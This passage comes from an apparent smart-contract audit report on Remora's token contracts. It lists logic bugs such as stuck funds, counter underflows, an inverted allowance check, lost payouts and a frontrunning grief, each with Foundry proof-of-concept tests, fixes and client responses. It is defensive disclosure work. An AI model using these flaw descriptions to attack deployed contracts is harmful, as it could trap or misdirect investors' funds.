    function _updateEntityAllowance(bool add, address inv, uint256 amount) internal returns (bool) {
//@audit-info => total times the individual is a catalyst on != entities!
        uint8 numCatalyst = individualData[inv].numCatalyst;

//@audit-info => Entities the individual belongs to!
        uint256 len = findEntity[inv].length;

 //@audit-info => iterates over the entities the individual belongs to
        for (uint256 i; i<len; ++i) {
//@audit-info => if individual is not a catalyst on any entity, break out of the loop!
            if (numCatalyst == 0) break;

//@audit-info => Loads the entity data the individual belongs to on the current indx being iterated
            EntityData storage aData = entityData[findEntity[inv][i]];

//@audit-info => if the catalyst of the entity is not the investor, continue to the next entity!
            if (aData.catalyst != inv) continue;

 //@audit-info => If reaches here it means the investor is the catalyst of the entity!

            --numCatalyst;

            uint64 adjusted_amt = SafeCast.toUint64(
                (REMORA_PERCENT_DENOMINATOR / aData.equity) * amount
            );
//@audit-issue => Modifies allowance or could cause a revert on an entity that has nothing to do with
↪  the actual `from` individual because the catalyst of that entity belonged to the same group as the
↪  `from` individual, which caused execution to get here, regardless that `from` individual is not even
↪  part of the entity being modified
            if (add) aData.allowance += adjusted_amt;
```

```
            else if (adjusted_amt > aData.allowance) return false;
            else aData.allowance -= adjusted_amt;
        }
        return true;
    }
```

Impact: This bug can lead to two different paths:

1. On the sender - When ALL the entities have enough allowance, then the allowances for entities where the individual doesn't belong can result in being mistakenly modified.
2. On the receiver - When one of the entities doesn't have enough allowance, the tx will revert.

Recommended Mitigation: Consider refactoring the update of allowances to entities so that they do not fall in this scenario. Consider not updating the allowances of entities where the `from` or `to` are not part of.

Remora: Acknowledged. Groups should be seen as individuals, so if individual A and B are in the same group, but are in different entities, either of their transfers should affect all entities that are tied to that group one way or another.

Cyfrin: Verified.

7.3 Medium Risk

7.3.1 Self transfer of all child tokens results in decement of `ChildToken.totalInvestors` storage variable

Description: Similar to Issue *Frontrunning call to `ChildToken::resolveUser` and transferring all of the oldUser's `childToken` balance causes the `totalInvestor` counter to be decremented twice*, if `user` calls `ChildToken::transfer(user, <balance of user>)` this will result in `totalInvestors` being decremented.

This is because the override of `_update` determines the decrements/increments based on the balance *before* the transfer.

```
    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
@1>     if (from != address(0) && balanceOf(from) - value == 0) --totalInvestors;
@2>     if (to != address(0) && balanceOf(to) == 0) ++totalInvestors;
...
```

- Line `@1>` causes the `totalInvestors` to be decremented, but
- Line `@2>` does not cause an increment since `balanceOf(to)` is the before-transfer balance

Impact: The impact is minimal in most cases, as `totalInvestors` is only used for informational purposes. However, if it is done enough times it will lead to underflows precisely when:

- `totalInvestors == 0`, and
- a user is transferring all their tokens to another user

Proof of Concept: Add the following test to `CentralTokenTest.t.sol`

```
    function test_cyfrin_selfTransferDecrements() public {
        address user = getDomesticUser(1);
        uint32 DEFAULT_LOCK_TIME = 365 days;

        // Seed: old user has 3 tokens (locked by default on mint)
        centralTokenProxy.mint(address(this), uint64(3));
        centralTokenProxy.dynamicTransfer(user, 3);
        assertEq(d_childTokenProxy.balanceOf(user), 3);
        assertEq(d_childTokenProxy.totalInvestors(), 1);

        vm.warp(block.timestamp + DEFAULT_LOCK_TIME); // warp to unlock tokens
        vm.prank(user);
        d_childTokenProxy.transfer(user, 3);

        assertEq(d_childTokenProxy.totalInvestors(), 0);
        assertEq(d_childTokenProxy.balanceOf(user), 3);

        // Do it one more time and we get a revert
        vm.warp(block.timestamp + DEFAULT_LOCK_TIME);  // warp to unlock tokens
        vm.prank(user);
        vm.expectRevert(); // expect underflow
        d_childTokenProxy.transfer(user, 3);
    }
```

Recommended Mitigation: If `from == to` do nothing to the investor count.

```
+       if (from != to) {
            if (from != address(0) && balanceOf(from) - value == 0) --totalInvestors;
            if (to != address(0) && balanceOf(to) == 0) ++totalInvestors;
+       }
```

```
        super._update(from, to, value);
```

Remora: Fixed at commit b612c87.

Cyfrin: Verified. `totalInvestors` counter is not modified if `from` and `to` are the same address.

7.3.2 After disabling burning with `CentralToken::disableBurning` calling `PaymentSettler::enableBurning` leads to stuck funds

Description: Burning of child tokens can be disabled, even after `PaymentSettler::enableBurning(...)` is called by and admin calling `CentralToken::disableBurning()` directly.

The correct way to re-enable burning is to call `CentralToken::enableBurning(burnPayout)` (even though the `burnPayout` parameter is ignored in this case).

However, a mistake that could occur is that admin calls `PaymentSettler::enableBurning()` instead. All though this may not be expected, this succeeds because there are no checks against the `TokenData` for central token and instead, these checks are deferred to the external call to `CentralToken.enableBurning` on PaymentSettler.sol#L184.

Unfortunately the logic of `CentralToken::enableBurning` will *overwrite* the `totalBurnPayout` when called from the `PaymentSettler` contract.

```
    function enableBurning(uint64 burnPayout) external nonReentrant {
        address sender = _msgSender();
        if (sender != paymentSettler)
            _checkCanCall(sender, _msgData());
@>      else totalBurnPayout = burnPayout;
    ...
```

- The value of each token is calculated as `totalBurnPayout / preBurnSupply`
- Let `B1`/`B2` be the funds added on the first/second call to `PaymentSettler::enableBurning`
- Let `S` be the `preBurnSupply`
- Assume `x` tokens were burned before the disable. Assume `x < S`
- Assume the remaining `S - x` tokens are burned after re-enable
- Then total value of all burned tokens is `(x * B1 / S) + (S - x)*B2 / S`
- Yet the total value put into `PaymentSettler` for burning was `B1 + B2`

The stablecoin value left in the `PaymentSettler` contract

```
   (B1 + B2) - (x * B1 / S + (S - x)*B2/S)
== (B1 + B2) - (x * B1 / S + S * B2 / S - x * B2 / S)
== (B1 + B2) - (x/S* (B1 - B2) + B2)
== B1 - x/S * (B1 - B2)
```

1. If `B1 - B2 < 0` then this is clearly positive
2. If `B1 - B2 > 0` then the maximum value of `x/S * (B1 - B2)` happens when `B2 == 0`. But since `x/S < 1` we have `B1 - x/S*B1 > 0`

Thus, funds will always become stuck in the contract.

Impact: Funds become stuck in the contract when burning is disabled and then re-enabled with `PaymentSettler::enableBurning`

Proof of Concept: Add the following to `PaymentSettlerTest.t.sol` Assert statements will hold even if constants (in capital letters) are changed.

```
function test_cyfrin_EnableAfterDisableLeadsToStuckFunds() public {
    address user0 = getDomesticUser(0);
    address user1 = getDomesticUser(1);
    uint64 BURN_FUNDS_0 = 1_000_000e6;
    uint64 BURN_FUNDS_1 = 700_000e6;

    uint64 INITIAL_SUPPLY = 10_000;
    uint64 BURN_AMOUNT = 3000;

    centralTokenProxy.mint(address(this), INITIAL_SUPPLY);
    centralTokenProxy.dynamicTransfer(user0, BURN_AMOUNT);
    centralTokenProxy.dynamicTransfer(user1, INITIAL_SUPPLY - BURN_AMOUNT);

    (uint128 usdBal0 , , bool burnEnabled0,) =
    ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
    assertEq(usdBal0, 0);
    assertEq(burnEnabled0, false);

    // initiateBurning
    paySettlerProxy.initiateBurning(address(centralTokenProxy));
    skip(1 days + 1);

    IERC20(address(stableCoin)).approve(address(paySettlerProxy), type(uint256).max);
    paySettlerProxy.enableBurning(address(centralTokenProxy), address(this), BURN_FUNDS_0);
    (uint128 usdBal1,,bool burnEnabled1,) = paySettlerProxy.tokenData(address(centralTokenProxy));
    assertEq(usdBal1, 1_000_000e6);
    assertEq(centralTokenProxy.totalSupply(), INITIAL_SUPPLY);
    assertEq(centralTokenProxy.preBurnSupply(), INITIAL_SUPPLY);
    assertEq(centralTokenProxy.totalBurnPayout(), BURN_FUNDS_0);
    assertEq(burnEnabled1, true);

    vm.startPrank(user0);
    d_childTokenProxy.burn(); // burns INITIAL_SUPPLY - BURN_AMOUNT tokens
    vm.stopPrank();

    (uint128 usdBal2,,,) = paySettlerProxy.tokenData(address(centralTokenProxy));
    assertEq(usdBal2, BURN_FUNDS_0 - BURN_AMOUNT * BURN_FUNDS_0 / INITIAL_SUPPLY);
    assertEq(centralTokenProxy.totalSupply(), INITIAL_SUPPLY - BURN_AMOUNT);
    assertEq(centralTokenProxy.preBurnSupply(), INITIAL_SUPPLY);
    assertEq(centralTokenProxy.totalBurnPayout(), BURN_FUNDS_0);

    // Disable Burning
    centralTokenProxy.disableBurning();
    (,,bool burnEnabled2_5,) = paySettlerProxy.tokenData(address(centralTokenProxy));
    assertEq(burnEnabled2_5, true); // PaymentSettler still reports that the burn is enabled

    paySettlerProxy.enableBurning(address(centralTokenProxy), address(this), BURN_FUNDS_1);
    (uint128 usdBal3 , , , bool burnEnabled3) =
    ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
    assertEq(usdBal3, usdBal2 + BURN_FUNDS_1);
    assertTrue(burnEnabled3);
    uint256 totalSupply3 = centralTokenProxy.totalSupply();
    uint64  preBurnSupply3 = centralTokenProxy.preBurnSupply();
    uint64  totalBurnPayout3 = centralTokenProxy.totalBurnPayout();
    uint256 valueOfTokens = totalSupply3 * totalBurnPayout3 / preBurnSupply3;

    assertEq(totalSupply3, INITIAL_SUPPLY - BURN_AMOUNT);
    assertEq(preBurnSupply3, INITIAL_SUPPLY);
    assertEq(totalBurnPayout3, BURN_FUNDS_1);

    vm.startPrank(user1);
    d_childTokenProxy.burn(); // burn all remaining tokens
```

```
        vm.stopPrank();

        (uint128 usdBalEnd , , , ) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBalEnd, usdBal2 + BURN_FUNDS_1 - valueOfTokens);
        assertEq(int64(uint64(usdBalEnd)), int64(BURN_FUNDS_0) - int64(BURN_AMOUNT) *
        ↪  (int64(BURN_FUNDS_0) - int64(BURN_FUNDS_1))/ int64(INITIAL_SUPPLY));
        assertEq(centralTokenProxy.totalSupply(), 0);
    }
```

Recommended Mitigation: It is recommended that re-enabling burning via `PaymentSettler::enableBurning` is completely disabled perhaps by just adding a check

```
+    error TokenBurningAlreadyEnabled();
```

```
    function enableBurning(
        address token,
        address fundingWallet,
        uint64 value
    ) external nonReentrant restricted {
        if (value == 0) revert InvalidValuePassed();
        TokenData storage t = tokenData[token];
+       if (t.burnEnabled) revert TokenBurningAlreadyEnabled();
        if (!t.active) revert InvalidTokenAddress();
...
```

Remora: Fixed at commit 45e9745

Cyfrin: Verified. Added a check to prevent enabling burning more than once.

7.3.3 Resolving a frozen investor causes all the pending payouts for the entire time the investor was frozen to be lost

Description: When an investor is frozen, they do not receive payouts while the freeze is active. However, once the sanction is lifted, the investor is entitled to receive the accumulated payouts for the entire duration of the freeze.

Resolving a frozen user does not unfreeze the investor before resolving the pending payouts. This means that the payouts of the investor will be calculated up to the `payoutIndex` at which they were frozen; any subsequent payouts will not be included in the calculation.

```
//ChildToken.sol//
    function resolveUser(address oldAddress, address newAddress) external nonReentrant restricted {
        ...
        _resolvePay(oldAddress, newAddress); // moves any unclaimed payouts to new account
        ...
    }

//DividendManager.sol//
    function _resolvePay(address oldAddress, address newAddress) internal {
//@audit => Payouts as calculated on payoutBalance() from oldAddress are migrated to newAddress
@>      _getHolderManagementStorage()._resolvedPay[newAddress] =
↪   SafeCast.toUint128(_claimPayout(oldAddress));
        emit PaymentResolved(oldAddress, newAddress);
    }

    function _claimPayout(
        address holder
    ) internal returns (uint256 payoutAmount) {
        HolderManagementStorage storage $ = _getHolderManagementStorage();
        payoutAmount = payoutBalance(holder);

        ...
    }
```

```
    function payoutBalance(address holder) public returns (uint256) {
        ...

        uint256 payoutAmount;
//@audit => Payouts for frozen investors are paid out up to the index when they were frozen
 @>     uint16 payRangeStart = rHolderStatus.isFrozen
            ? rHolderStatus.frozenIndex - 1
            : currentPayoutIndex - 1;
        ...
        for (uint16 i = payRangeStart; i >= payRangeEnd; --i) {
            ...
        }

        ...
    }
```

Given that resolving a user causes the entire balance to be transferred to the new address, the `oldAddress` will get its user data deleted because on the `DividenManager::_updateHolders`, the `from` (oldAddress) won't have any balance, any payouts, nor calculatedPayout, both of them were reset to 0 in the call to `_claimPayout()` triggered from `_resolvePay()`

```
//ChildToken.sol//
    function resolveUser(address oldAddress, address newAddress) external nonReentrant restricted {
        ...
        _resolvePay(oldAddress, newAddress); // moves any unclaimed payouts to new account
        ...
//@audit => Transfer all the balance of the oldAddress
        uint256 value = balanceOf(oldAddress);
        _validateBalance(false, false, oldAddress, value);
        _validateCompliance(false, true, oldAddress, newAddress, value);
@>      super._transfer(oldAddress, newAddress, value); // tokens already locked with
↪   _newAccountSameLocks
    }
```

This means the new address will receive all the old address tokens, but the payouts for the duration of the freeze on the old address will be lost.

Impact: Resolving a frozen user causes all their pending payouts for the duration of their freeze to be lost.

Recommended Mitigation: Add to the `ChildToken::resolveUser` logic to verify if the oldAddress is frozen; if so, unfreeze it before resolving the pending payments. And, at the end of the execution, consider freezing the new address in case the old address was frozen.

Remora: Fixed at commit c729f6e

Cyfrin: Verified. Added a validation before calculating pending payouts to check if the `oldAddress` is frozen. If so, `oldAddress` is unfrozen, and `newAddress` is frozen. This allows pending payouts for the `oldAddress` to be calculated until the current `payoutIndex`.

7.3.4 Allowance check in `FiveFiftyRule::canTransfer` is inverted

Description: The following snippet from `FiveFiftyRule::canTransfer` has inverted logic.

```
            if (iTo.isEntity) { // if entity
@>              if (entityData[to].allowance <= amount) {
                    entityData[to].allowance -= SafeCast.toUint64(amount);

                    iTo.lastBalance += SafeCast.toUint64(amount);
                    emit FiveFiftyApproved(from, to, amount);
```

```
                return true;
            } else revert ();
        }
```

This is also present in `FiveFiftyRule::checkCanTransfer`.

Impact: No transfers to entities are possible except in the rare cases that `allowance == amount` In the other two cases the function will revert, but for different reasons.

- If `allowance > amount` then function will revert due to the else-branch
- If `allowance < amount` then the function will revert due to underflow

Recommended Mitigation:

```
            if (iTo.isEntity) { // if entity
-               if (entityData[to].allowance <= amount) {
+               if (entityData[to].allowance >= amount) {
                    entityData[to].allowance -= SafeCast.toUint64(amount);
```

```
        if (iData.isEntity)
-           return entityData[to].allowance <= amount;
+           return entityData[to].allowance >= amount;
```

Remora: Fixed at commit a69e893

Cyfrin: Verified. Comparison operator has been inverted to use the correct operator.

7.3.5 `FiveFiftyRule::_removeFromEntity` will revert or not work in some cases

Description: The marked line in the code below is using the wrong length `len`. It should be `eLen`.

```
    function _removeFromEntity(
        address entity,
        address[] calldata investors
    ) internal {
        uint256 len = investors.length;
        for (uint256 i; i<len; ++i) {
            address[] storage ens = findEntity[investors[i]];
            uint256 eLen = ens.length;
@>          for (uint256 j; j<len; ++j) {
                if (ens[j] == entity) {
                    if (j != eLen-1 && eLen > 1)
                        ens[j] = ens[eLen-1];
                    ens.pop();
                    break;
                }
            }
        }
    }
```

When `len > eLen` this will lead to reverts if the investor is not found when `j < eLen`. The result is spurious reverts.

Impact: Functions impacted by the reverts are `deleteEntity` and `removeFromEntity`.

For the `removeFromEntity` case it's possible to repeatedly call it where the `investors` parameter is an array of length 1.

However, for the `deleteEntity` cases this is not possible. The `investors` parameter must contain all of the investors in the entity. If it does not then `findEntity` mapping will still contain entries that it shouldn't.

Proof of Concept: Add this to `FiveFiftyRuleTest.t.sol`

```
import "forge-std/Test.sol";
```

and also

```
    function test_cyfrin_removeEntity_indexBug() public {
        address user0 = getDomesticUser(0);
        address user1 = getDomesticUser(1);
        address user2 = getDomesticUser(2);
        address entity = getDomesticUser(3);


        address[] memory investors = new address[](3);
        investors[0] = user0;
        investors[0] = user1;
        investors[0] = user2;

        fiveFiftyProxy.createEntity(entity, user0, 1e6, 1_000_000, investors);

        address[] memory investorsToRemove = new address[](2);
        investorsToRemove[0] = user0;
        investorsToRemove[1] = user1;

        // since investorsToRemove.length == 2 and entities.length == 1 we get a revert
        vm.expectRevert(stdError.indexOOBError);
        fiveFiftyProxy.removeFromEntity(entity, investorsToRemove);

    }
```

Recommended Mitigation:

```
-           for (uint256 j; j<len; ++j) {
+           for (uint256 j; j<eLen; ++j) {
```

Remora Fixed at commit 5ed4324

Cyfrin: Verified.

7.3.6 Calling `PaymentSettler::setStableCoin` can lead to inability of holders to claim funds and old stablecoin being trapped in the contract

Description: An admin can call `PaymentSettler::setStablecoin` at any time. As the code is currently design this should only be done when the stablecoin balance of the contract is zero, which is a very rare occurrence given that many tokens will be at various stages of the their lifecycle.

For instance, if `setStablecoin` were called in the middle of the burning phase of a central token, it would lead to the inability of some users to burn their tokens. This also holds if there are outstanding payouts to claim before burning is enabled.

As it is not unknown for stablecoins to become de-pegged (even USDC de-pegged for a few hours), a method for migrating from one stablecoin to another must be implemented.

Impact: Changing the stablecoin may well become necessary if the current stablecoin loses its value. The problem then is that all currently active central tokens become affected by the change (and the existing funds become stuck).

The impact is two-fold:

1. Any existing stable coins are trapped in the contract as there is no way to get them out.
2. Users are unable to either claim payouts or burn their tokens.

As this is a High Impact, but Low Likelihood bug its impact has been assessed as Medium.

Proof of Concept: Add the following test to `PaymentSettlerTest.t.sol`. It demonstrates that a user would be unable to burn their tokens if `setStablecoin`

```
    function test_cyfrin_setStablecoinCanLeadToDOS() public {
        address user0 = getDomesticUser(0);
```

```
        address user1 = getDomesticUser(1);
        address central = address(centralTokenProxy);

        centralTokenProxy.mint(address(this), 10_000);
        centralTokenProxy.dynamicTransfer(user0, 5_000);
        centralTokenProxy.dynamicTransfer(user1, 5_000);

        paySettlerProxy.initiateBurning(central);
        vm.warp(1 days + 1);

        IERC20(address(stableCoin)).approve(address(paySettlerProxy), 1_000_000e6);
        paySettlerProxy.enableBurning(central, address(this), 1_000_000e6);

        // User 0 burns their tokens
        vm.prank(user0); d_childTokenProxy.burn();

        Stablecoin newStableCoin = new Stablecoin("DAI", "DAI", type(uint256).max/1e6, 6);
        paySettlerProxy.setStablecoin(address(newStableCoin));

        vm.startPrank(user1);
        vm.expectPartialRevert(bytes4(keccak256("ERC20InsufficientBalance(address,uint256,uint256)")));
        d_childTokenProxy.burn();
    }
```

Recommended Mitigation: Initially, it might seem that one elegant solution to the problem is to store a copy of the current stablecoin address in the `TokenData` structure. This has the advantage of allowing holders of existing central tokens to still claim the funds they are entitled to. In the case that the stablecoin has gone down in value the loss has been socialised to everyone who was entitled to that stablecoin. Whether this is acceptable or not will affect the mitigation, but it is *one* solution.

However, the solution outline above does not take into account calling the following scenario:

- `distributePayout`
- followed by `setStableCoin`
- followed by `distributePayment` or `enableBurning`

Thus, to handle the transition from one stablecoin to the next (possibly multiple times) it will be necessary to store the address of the stablecoin on a *per-payout* and *per-enable-burn* basis, which adds significant complexity.

Another solution would be to prevent calling `setStablecoin` unless all current central tokens were inactive. However, this does not account for the stablecoin-de-pegging scenario.

A third solution would involve withdrawing the existing stablecoins and replacing them with an equivalent amount of the new stablecoin, however, this would shift the risk of a de-pegging event to Remora.

There are many design considerations to take into account.

Remora: Fixed at commit 470ed74

Cyfrin: Verified. PaymentSettler transfers the balance of the existing stablecoin to the custodian (which includes fees), resets fees, and pulls the same amount of required stablecoin of the new stablecoin that the system must have to process payouts.

7.3.7 Removing Individuals from groups doesn't properly decrement the `groups.numCatalyst` to track the number of catalysts on that group

Description: When removing an individual from a group, the `group.numCatalyst` counter only checks if the individual's `numCatalyst` is != 0; if so, it decrements `group.numCatalyst` by 1, regardless of how many entities the individual is a catalyst for. The problem is that each individual can be a catalyst on multiple entities, and each time the individual is set as the catalyst on an entity, both the individual and the group `numCatalyst` grow.

```
//FiveFiftyRule.sol//
```

```
    function createEntity(
        ...
    ) external restricted {
        ...
        uint16 gid = individualData[catalyst].groupId;
//@audit-info => The same catalyst increments the numCatalyst counter on the group each time it's added
↪  as a catalyst on a != entity!
@>      if (gid != 0) ++groups[gid].numCatalyst;

        ...
    }

    function removeIndividual(uint16 id, address individual) external restricted {
        ...
        GroupData storage gData = groups[id];
//@audit-issue => Decrements the group numCatalysts only by one, regardless of how many times the
↪  individual is a catalyst on != entities
@>      if (iData.numCatalyst != 0) --gData.numCatalyst;

        ...
    }
```

So, the `group.numCatalyst` increments each time an individual is set as a catalyst on an entity, but when the individual is removed from the group, `group.numCatalyst` decrements by one, regardless of how many times it was incremented because of the individual being assigned as a catalyst on multiple entities.

Impact: `groups.numCatalyst` can be incorrect and fail to accurately track the actual number of catalysts among all entities where individuals are registered as catalysts. This can cause the execution path in the `FiveFiftyRule::canTransfer` function to follow the wrong path and, subsequently, make incorrect updates to the accounting.

Proof of Concept: In the below PoC, it is demonstrated that the same individual can be assigned as a catalyst for two entities; this will cause the individual and group `numCatalyst` to increase to two, and when the individual is removed from the group he belongs to, the `group.numCatalyst` will only be decremented by one, which will leave the accounting incorrectly considering there is an individual on the group who is a catalyst on an entity.

Add the next PoC to the `FiveFiftyRuleTest.t.sol` test file:

```
    function test_numCatalystInGroupsPoC() public {
        // create group with one member
        address u = getDomesticUser(0);
        address u2 = getDomesticUser(1);
        address[] memory inds = new address[](2);
        inds[0] = u;
        inds[1] = u2;

        uint16 gid = 10;

        address entityA = makeAddr("entityA");
        address entityB = makeAddr("entityB");

        fiveFiftyProxy.createGroup(gid, inds);

        //@audit => Create two entities where individual `u` is the catalyst
        fiveFiftyProxy.createEntity(entityA, u, 100, 100, inds);
        fiveFiftyProxy.createEntity(entityB, u, 100, 100, inds);

        assertEq(fiveFiftyProxy.getGroupNumCatalyst(gid), 2);

        //@audit => Remove the only user of the group who is a numCatalyst on entities
        fiveFiftyProxy.removeIndividual(gid, u);
```

```
        //@audit-issue => The numCatalyst is left as 1 even though any of the remaining individuals in
        ↪  the group is a catalyst on an entity
        assertEq(fiveFiftyProxy.getGroupNumCatalyst(gid), 1);
    }
```

Recommended Mitigation: Consider refactoring the accounting to track the `group.numCatalyst` correctly, ensuring it is updated when removing and adding individuals to a group, as well as when setting an individual as a catalyst of an entity. Ensure there is a symmetric relation among these operations.

Remora: Fixed at commit 588b165.

Cyfrin: Verified. `group.numCatalyst` counter increments and decrements symmetrically. Regardless of how many times the same individual serves as a catalyst for different entities, the count `group.numCatalyst` only increases by 1 for each individual who is a catalyst.

7.4 Low Risk

7.4.1 Frontrunning call to `ChildToken::resolveUser` and transferring all of the oldUser's `childToken` balance causes the `totalInvestor` counter to be decremented twice

Description: When resolving a user to migrate his tokens, lock progress, and payouts from an address to a new address, the balance of `ChildToken` of the `oldAddress` is transferred by directly calling the `super::_transfer`, which bypasses the overrides of the `super::_transfer`. Calling `super::_transfer` bypasses a protection that returns the execution early when transferring a zero value. This allows the execution to reach `ChildToken::_update()` with a balance of 0 for the `from` account and a transfer of zero value. As a result, the `totalInvestors` counter will be decremented, because the condition evaluating whether the sender is zeroing out their balance will be met.

```
//ChildToken.sol//

    function resolveUser(address oldAddress, address newAddress) external nonReentrant restricted {
        ...
@>      super._transfer(oldAddress, newAddress, value); // tokens already locked with
↪   _newAccountSameLocks
    }

    function _update(
        address from,
        address to,
        uint256 value
    ) internal override {
@>      if (from != address(0) && balanceOf(from) - value == 0) --totalInvestors;
        if (to != address(0) && balanceOf(to) == 0) ++totalInvestors;

        ...
    }
```

The previous behavior when resolving a user who has no balance allows for legitimate executions to determine users to be griefed and force the `totalInvestors` counter to be decremented twice. One for the frontran transaction, which transfers all the `oldAddress` tokens (because the sender is zeroing out their balance). Again, when the transaction calling `ChildToken::resolveUser` is executed and resolves the user with a zero balance (as explained above), this will also cause `investorBalance` to be decremented.

Impact: The `totalInvestor` counter is decremented twice, which causes the system to inaccurately track the actual number of investors in the system. This issue can cause transfers of other investors to fall into DoS when transferring all their balances (given sufficient manipulations of the `totalInvestor` counter). However, thanks to the lock-up periods, the likelihood of reaching a DoS state is low.

Proof of Concept: Add the following PoC to `ChildTokenAdminTest.t.sol`:

```
    function test_resolveUser_FrontRanHijacks_totalInvestorCounter() public {
        address oldUser = getDomesticUser(1);
        address newUser = getDomesticUser(2);
        address extraInvestor = getDomesticUser(3);

        centralTokenProxy.mint(address(this), uint64(1));
        centralTokenProxy.dynamicTransfer(extraInvestor, 1);

        // Seed: old user has 3 tokens (locked by default on mint)
        centralTokenProxy.mint(address(this), uint64(3));
        centralTokenProxy.dynamicTransfer(oldUser, 3);
        assertEq(d_childTokenProxy.balanceOf(oldUser), 3);

        // Distribute payout via PaymentSettler -> Central -> Child
        IERC20(address(stableCoin)).approve(address(paySettlerProxy), type(uint256).max);
        paySettlerProxy.distributePayment(address(centralTokenProxy), address(this), 300); // 300 USD(6)
        ↪  total
```

```
        assertEq(d_childTokenProxy.totalInvestors(), 2);

        uint32 DEFAULT_LOCK_TIME = 365 days;
        vm.warp(block.timestamp + DEFAULT_LOCK_TIME);

        //@audit-info => `oldUser` frontruns `resolveUser()` and transfers all of his balance!
        vm.prank(oldUser);
        d_childTokenProxy.transfer(newUser, 3);

        //@audit-info => Doesn't revert even though `oldUser` has 0 balance
        // Resolve: move state to newUser (already allowlisted + signed in base)
        d_childTokenProxy.resolveUser(oldUser, newUser);

        //@audit-issue => Only 1 investor when in reality are 2 (newUser and extraInvestor)
        assertEq(d_childTokenProxy.totalInvestors(), 1);

        //@audit-info => newUser transfers all his tokens to extraInvestor - totalInvestors shrinks
        vm.warp(block.timestamp + DEFAULT_LOCK_TIME);
        vm.prank(newUser);
        d_childTokenProxy.transfer(extraInvestor, 3);
        assertEq(d_childTokenProxy.totalInvestors(), 0);

        //@audit-issue => underflow because totalInvestors is 0 and extraInvestor is transferring all of
        ↪  his balance
        vm.warp(block.timestamp + DEFAULT_LOCK_TIME);
        vm.prank(extraInvestor);
        vm.expectRevert();
        d_childTokenProxy.transfer(newUser, 4);
    }
```

Recommended Mitigation: Consider adding a check to validate if the `oldAddress` `balanceOf` ChildToken is 0, if so, revert the tx.

Remora: Fixed at commit 6f53406

Cyfrin: Verified. Added a check to call `super._transfer()` only when the `oldAddress` has a balance.

7.4.2 Minting in between disabling and re-enabling burning leads to stuck funds and dilution of later burners

7.4.3 Description

Burning of child tokens can be disabled after `PaymentSettler::enableBurning` has been called by an admin calling `CentralToken::disableBurning` directly on the parent of the child tokens.

However, an admin could call `mint` once `disableBurning` as called because of the following line in `mint`

```
    function mint(address to, uint64 amount) external nonReentrant whenNotPaused restricted {
        if (amount == 0) return;
@>      if (mintDisabled || burnable()) revert MintDisabled();
        _checkAllowedAdmin(to);
        _mint(to, amount);
        preBurnSupply += amount;
        emit TokensMinted(to, amount);
```

There are two ways in which the burning can be resumed

1. `PaymentSettler::enableBurning`
2. `CentralToken::enableBurning`

However, both lead to funds being stuck in the CentralToken contract.

The problems with `PaymentSettler::enableBurning` are also covered in Issue *After disabling burning with `CentralToken::disableBurning` calling `PaymentSettler::enableBurning` leads to stuck funds*. However, we go through the specific case here:

Case 1: `PaymentSettler::enableBurning`

We use specific values for clarity

- Initial 10,000 `CentralToken`s are minted. `totalSupply == 10_000`. `preBurnSupply == 10_000`
- `PaymentSettler::enableBurning(centralToken, fundingWallet, 1_000_000e6)` is called adding 1,000,000 USDC
  - Let `PaymentSettler`'s token data for the central token be `t`. Thus `t.balance = 1_000_000e6`
  - Indirectly, this sets `CentralToken`'s `totalBurnPayout` storage variable to `1_000_000e6`
- 5,000 of these are burned (at 100 USDC/token reducing) `t.balance` to `500_000e6` and reducing `totalSupply` to `5000`
- Burning is disabled with `CentralToken.disableBurning()`
- `CentralToken::mint` is called to mint an additional 6,000 tokens. `totalSupply = 11_000`
  - However, `preBurnSupply` is increased to `16_000`
- Now `PaymentSettler::enableBurning(centralToken, fundingWallet, 600_000e6)` is called
  - `t.balance` is increased to `1_100_000e6`
  - As described in Issue *After disabling burning with `CentralToken::disableBurning` calling `PaymentSettler::enableBurning` leads to stuck funds* this _overwrites `totalBurnPayout` to `600_000e6`
- Now there are
  - `11_000` child tokens
  - `preBurnSupply = 16_000`
  - `t.balance = 1_100_000e6`
  - `totalBurnPayout == 600_000e6`
- Each token can be redeemed for `totalBurnPayout / preBurnSupply` stable coins. This is `600_000e6 / 16_000 == 37.5e6`. They have been heavily diluted by the fact that `totalBurnPayout` was overridden
- This reduces `t.balance` by `11_000 * 37.5e6 == 412_500e6` to `687_500e6`, which are now stuck funds

Case 2: `CentralToken::enableBurning`

This case is the same as before, up until the minting of the 5,000 new central tokens.

But now:

- `CentralToken::enableBurning` is called (which ignores the `burnPayout` parameter)
- Now there are:
  - `11_000` child tokens
  - `preBurnSupply = 16_000`
  - `t.balance = 500_000e6`
  - `totalBurnPayout == 1_600_000e6`
- This time we calculate that each token can be redeemed for `1_000_000e6 / 16_000 == 62.5e6`
- The total value of all the remaining child tokens is `11_000 * 62.5e6 == 687_500e6`
- `t.balance` is not large enough to cover this so now some of the child token cannot even be burned

This is bad enough but if we change the scenario slightly so that `t.balance` also includes dividends/rent from the property so that there *is* enough to cover the `687_500e6` required to burn the remaining child tokens, then by burning them one is actually stealing the dividends/rents that the burners of the first 5,000 tokens may not have claimed.

Impact: If burning is re-enabled with `PaymentSettler::enableBurning` funds will (generally) become stuck.

If burning is re-enabled with `CentralToken::enableBurning`, in many cases, there will not be enough funds in the `PaymentSettler` contract to cover burning of all tokens. Further, if `PaymentSettler` contains payouts (in addition to the funds intended for burns) then burning could have the effect of stealing other users unclaimed payouts.

Proof of Concept: Add the following to `PaymentSettlerTest.t.sol`

```
    function test_cyfrin_MintBetweenDisableEnableBurn_Case1() public {
        address user0 = getDomesticUser(0);
        address user1 = getDomesticUser(1);
        centralTokenProxy.mint(address(this), uint64(10000));
        centralTokenProxy.dynamicTransfer(user0, 5000);
        centralTokenProxy.dynamicTransfer(user1, 5000);

        (uint128 usdBal0 , , bool burnEnabled0,) =
        ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal0, 0);
        assertEq(burnEnabled0, false);

        // initiateBurning
        paySettlerProxy.initiateBurning(address(centralTokenProxy));
        skip(1 days + 1);

        uint64 burnFunds0 = 1_000_000e6; // first funding (USD6 units)
        IERC20(address(stableCoin)).approve(address(paySettlerProxy), type(uint256).max);
        paySettlerProxy.enableBurning(address(centralTokenProxy), address(this), burnFunds0);
        (uint128 usdBal1,,bool burnEnabled1,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal1, 1_000_000e6);
        assertEq(centralTokenProxy.totalSupply(), 10_000);
